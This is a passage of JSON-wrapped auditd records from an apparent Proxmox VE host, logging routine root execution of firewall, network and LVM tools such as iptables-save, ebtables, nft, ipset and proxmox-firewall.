proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964775533,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964775.533:62537): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0f47a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59978 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966210818,"@rawstring":"node=pve type=PATH msg=audit(1781966210.818:68925): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965503246,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965503.246:65876): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964775529,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964775.529:62536): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1407a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59977 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966210818,"@rawstring":"node=pve type=PATH msg=audit(1781966210.818:68924): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965498234,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965498.234:65875): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964775524,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964775.524:62535): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f4770 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59976 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966210809,"@rawstring":"node=pve type=PATH msg=audit(1781966210.809:68923): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965498234,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965498.234:65874): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964775518,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964775.518:62534): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1407a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59975 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966210809,"@rawstring":"node=pve type=PATH msg=audit(1781966210.809:68923): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965498234,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965498.234:65873): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964775513,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964775.513:62533): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0cb370 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59974 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966210809,"@rawstring":"node=pve type=PATH msg=audit(1781966210.809:68922): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965498221,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965498.221:65872): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964775507,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964775.507:62532): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59973 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966210809,"@rawstring":"node=pve type=PATH msg=audit(1781966210.809:68921): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965498221,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965498.221:65871): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964775501,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964775.501:62531): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0f1150 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59972 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207477,"@rawstring":"node=pve type=PATH msg=audit(1781966207.477:68920): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965498221,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965498.221:65870): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964775497,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964775.497:62530): arch=c000003e syscall=59 success=yes exit=0 a0=596d0756eed0 a1=596d0756bc50 a2=596d0754d680 a3=5 items=2 ppid=59965 pid=59971 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207477,"@rawstring":"node=pve type=PATH msg=audit(1781966207.477:68920): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965495806,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965495.806:65869): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964775494,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964775.494:62529): arch=c000003e syscall=59 success=yes exit=0 a0=596ce5590ac8 a1=7ffe0b8a23d0 a2=596d0754d680 a3=596ce557424e items=2 ppid=59965 pid=59967 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207477,"@rawstring":"node=pve type=PATH msg=audit(1781966207.477:68920): item=0 name=\"/usr/sbin/qm\" inode=310596 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965495802,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965495.802:65868): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964775493,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964775.493:62528): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe0b8a2390 a1=596d0756ab40 a2=596d0754d680 a3=5 items=2 ppid=59965 pid=59966 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207473,"@rawstring":"node=pve type=PATH msg=audit(1781966207.473:68919): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965495800,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965495.800:65867): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964775488,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964775.488:62526): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59965 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207473,"@rawstring":"node=pve type=PATH msg=audit(1781966207.473:68919): item=1 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965495800,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965495.800:65866): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964775482,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964775.482:62525): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59964 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207473,"@rawstring":"node=pve type=PATH msg=audit(1781966207.473:68919): item=0 name=\"/usr/lib/open-iscsi/net-interface-handler\" inode=290825 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965495796,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965495.796:65865): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964775473,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964775.473:62524): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59963 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207467,"@rawstring":"node=pve type=PATH msg=audit(1781966207.467:68918): item=0 name=\"/usr/bin/ovs-vsctl\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965495790,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965495.790:65864): proctitle=\"ip6tables-save\""} {"@timestamp":1781964775469,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964775.469:62523): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8adc120 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59962 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207461,"@rawstring":"node=pve type=PATH msg=audit(1781966207.461:68917): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965495783,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965495.783:65863): proctitle=\"iptables-save\""} {"@timestamp":1781964775463,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964775.463:62522): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc139c90 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59961 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207461,"@rawstring":"node=pve type=PATH msg=audit(1781966207.461:68917): item=1 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965495776,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965495.776:65862): proctitle=\"ip6tables-save\""} {"@timestamp":1781964775457,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964775.457:62521): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc137f40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59960 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207461,"@rawstring":"node=pve type=PATH msg=audit(1781966207.461:68917): item=0 name=\"/usr/lib/open-iscsi/net-interface-handler\" inode=290825 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965495767,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965495.767:65861): proctitle=\"iptables-save\""} {"@timestamp":1781964774735,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964774.735:62520): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d1382ad0 a1=64f8d73b8200 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59957 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207449,"@rawstring":"node=pve type=PATH msg=audit(1781966207.449:68916): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965495765,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965495.765:65860): proctitle=\"ebtables-restore\""} {"@timestamp":1781964774702,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964774.702:62519): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d1ecbc10 a1=64f8d73b93a0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59956 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207449,"@rawstring":"node=pve type=PATH msg=audit(1781966207.449:68916): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965495763,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965495.763:65859): proctitle=\"ebtables-restore\""} {"@timestamp":1781964770583,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964770.583:62518): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59955 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207446,"@rawstring":"node=pve type=PATH msg=audit(1781966207.446:68915): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965495757,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965495.757:65858): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964770576,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964770.576:62515): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59954 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207446,"@rawstring":"node=pve type=PATH msg=audit(1781966207.446:68915): item=1 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965495751,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965495.751:65857): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964765566,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964765.566:62512): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59953 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207446,"@rawstring":"node=pve type=PATH msg=audit(1781966207.446:68915): item=0 name=\"/usr/lib/open-iscsi/net-interface-handler\" inode=290825 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965495745,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965495.745:65856): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964765558,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964765.558:62509): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59952 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207446,"@rawstring":"node=pve type=PATH msg=audit(1781966207.446:68914): item=0 name=\"/usr/bin/ovs-vsctl\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765446,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964765.446:62506): arch=c000003e syscall=59 success=yes exit=0 a0=648259bc9b60 a1=648259bd5a30 a2=648259ba3680 a3=5 items=2 ppid=59945 pid=59951 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495741,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965495.741:65855): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966207442,"@rawstring":"node=pve type=PATH msg=audit(1781966207.442:68913): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765443,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964765.443:62505): arch=c000003e syscall=59 success=yes exit=0 a0=64822725cac8 a1=7ffef460f9c0 a2=648259ba3680 a3=64822724024e items=2 ppid=59945 pid=59947 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495735,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965495.735:65854): proctitle=697073657400726573746F7265"} {"@timestamp":1781966207442,"@rawstring":"node=pve type=PATH msg=audit(1781966207.442:68913): item=1 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765442,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964765.442:62504): arch=c000003e syscall=59 success=yes exit=0 a0=7ffef460f980 a1=648259bc5200 a2=648259ba3680 a3=5 items=2 ppid=59945 pid=59946 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495729,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965495.729:65853): proctitle=\"ip6tables-save\""} {"@timestamp":1781966207442,"@rawstring":"node=pve type=PATH msg=audit(1781966207.442:68913): item=0 name=\"/usr/lib/open-iscsi/net-interface-handler\" inode=290825 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765438,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964765.438:62502): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59945 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495721,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965495.721:65852): proctitle=\"iptables-save\""} {"@timestamp":1781966207436,"@rawstring":"node=pve type=PATH msg=audit(1781966207.436:68911): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765432,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964765.432:62501): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59944 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495717,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965495.717:65851): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966207436,"@rawstring":"node=pve type=PATH msg=audit(1781966207.436:68911): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765426,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964765.426:62500): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59943 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495714,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965495.714:65850): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966207431,"@rawstring":"node=pve type=PATH msg=audit(1781966207.431:68910): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765420,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964765.420:62499): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59942 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495713,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965495.713:65849): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966207431,"@rawstring":"node=pve type=PATH msg=audit(1781966207.431:68910): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765414,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964765.414:62498): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59941 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495712,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965495.712:65848): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966207237,"@rawstring":"node=pve type=PATH msg=audit(1781966207.237:68909): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765411,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964765.411:62497): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=612fe8210740 items=0 ppid=1156 pid=59940 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965495705,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965495.705:65847): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966207237,"@rawstring":"node=pve type=PATH msg=audit(1781966207.237:68909): item=1 